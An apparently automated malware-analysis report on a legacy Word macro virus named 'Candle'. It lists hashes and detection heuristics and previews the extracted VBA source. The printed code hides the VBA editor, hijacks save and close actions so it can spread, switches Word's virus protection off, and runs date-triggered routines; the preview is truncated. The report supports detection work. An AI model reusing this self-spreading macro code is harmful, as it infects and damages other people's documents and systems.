Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cb02caabac099b99…

MALICIOUS

Office (OLE)

37.5 KB Created: 1998-08-22 10:52:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 1fdf495b1efa38200d283879c1b478fd SHA-1: a8620f5b6e472c054d05759cc482e475a7c294f7 SHA-256: cb02caabac099b99680db3f1d6fc09a1fc61e2f17a61099d09f3594fd45f0dee
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits characteristics of a legacy macro virus, with high-severity firings for OLE_LEGACY_WORDBASIC_MACRO_VIRUS, OLE_VBA_AUTOOPEN, and OLE_VBA_AUTOCLOSE. The presence of VBA macros indicates an attempt to execute arbitrary code. The embedded VBA script, named 'Candle', contains comments suggesting it is designed to spread or perform malicious actions, though its exact payload is truncated.

Heuristics 4

  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 19575 bytes
SHA-256: b4af336a509a249e6695576fcf965694fe00a91feb9793566bcd2f05821382d5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Candle"
' atmospir Indy manis, I N D O N E S I A, awal Nopember 1997
Const siManis = "Candle" ' Gen11.2-II
Dim sebarkanPesankuIni As Boolean ' Let me live in your medias :-(
Dim cDA, anggota, utusan ' Don't kill me, I am weak and harmless..

' M Y  O N L Y  L O V E  S T U C K  O N  A G E T I Q U E T T E
' - -  - - - -  - - - -  - - - - -  - -  - - - - - - - - - - -
'*is it fair?
' saat ge and Ii saling suka and jatuh cinta even kami berdua ingin
' married,  but  her mother  is forbide  our love  yang tulus  tobe
' united, padahal ge and Ii udah sebegitu ehem ehemnya..
'*sounds tragic! how come?
' her mother doesn't like cowo manapun yang nggak lebih tua minimal
' five years than her daughter untuk  pacaran  and married!  beside
' that kelihatannya ada another reason yang ge nggak tahu..
'*well?
' ge memang older than Ii, tapi only 9 months, Ii lahirnya Maret'77
' and ge Juli'76.
'*so what?
' that's not enough! said her mother.
'*and now?
' ge pikir now Ii is trying 'tuk memenuhi her mother's wish, and ge
' jadi takut.. takut Ii jadi berpaling dari cinta kami.. sniff!
'*so?
' apapun yang terjadi bagaimanapun juga ge bakalan berusaha  sampai
' ge dapetin cintanya Ii! karena yang ge tau kalo Ii juga 'gak rela
' wadda ya thinx?
'*you do fall in love, don't you?
' ..iya lah, kalo nggak, mana mungkin you bisa baca ps ps brkt ini!

Sub AutoExec()
  If (Day(Now) = 1) And (WeekDay(Now) = vbFriday) Then
  ' kalo gue bilang gue suka sama kakak kelas gue, gimana?
  ' percuma deh loe nggak bakal tahu biarpun gue kasih tahu namanya..
    CandleA
  ElseIf (Day(Now) = 22) And (WeekDay(Now) = vbFriday) Then
  ' kalau kamu masih .. sama .. lebih baik kamu keluar dari rumah ini
  ' mulai sekarang kamu jangan .. dia lagi!
  ' janji? iya
  ' (and Ii cryin' alone as her mother leavin')
    CandleA
  ' sudahlah, jangan menangis sayang..
  ' Ii sayang,
  ' thanks, your tears menandakan perasaan Ii yang begitu dalam,
  ' ge nggak akan membuat setiap tetes air mata Ii sia - sia,
  ' ge akan menghapus air mata kesedihan yang ada di pelupuk mata
  ' Ii, dan ge akan berusaha membuatnya menjadi linangan air mata
  ' kebahagiaan.. semoga saja..
  ' you are too sweet to let go, I'm too love to loose
  End If
End Sub
Sub AutoOpen()
  If Application.ShowVisualBasicEditor Then
    Application.ShowVisualBasicEditor = False
  End If
  If (Day(Now) = 1) And (WeekDay(Now) = vbFriday) Then
  ' (0251), Jum'at, 1 Agustus 1997, 1400-1530
    CandleA
  ElseIf (Day(Now) = 22) And (WeekDay(Now) = vbFriday) Then
  ' (0251), Jum'at, 22 Agustus 1997, 1630-1800
    CandleA
  ' Yesterday, all my trouble seem so far away
  End If
  CandleN
End Sub
Sub filesave()
  On Error Resume Next
  ActiveDocument.Save
  CandleD
End Sub
Sub FileSaveAs()
  On Error Resume Next
  With Dialogs(wdDialogFileSaveAs)
    .Format = wdFormatDocument
    If .Display = -1 Then
      ActiveDocument.SaveAs FileName:=.Name, FileFormat:=wdFormatTemplate
      CandleD
    End If
  End With
End Sub
Sub ToolsMacro()
' Candle, Yellow Rose, Indy.. romantism never ends
End Sub
Sub ViewVBCode()
' 3 jam 3 menit 33 detik
' what I want most to you is to get close to you..
End Sub
Sub HelpWordPerfectHelp()
' Mawar Kuning,
' akankah hembusan angin ragu mengarahkan harummu
' berpaling dari cintaku,
' adakah duri mawarmu yang akan menyakitiku,
' yang kutahu pasti pesonamu akan selalu menawanku..
End Sub
Sub ToolsOptions()
  On Error Resume Next
  Options.VirusProtection = True
  Dialogs(wdDialogToolsOptions).Show
  Options.VirusProtection = False
End Sub
Sub AutoClose()
  CandleD ' friends come into lovers
End Sub
Public Sub CandleA()
  Dim RelungHatiku As String
  Application.StatusBar = "Page Reformatting.. (this may take a
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.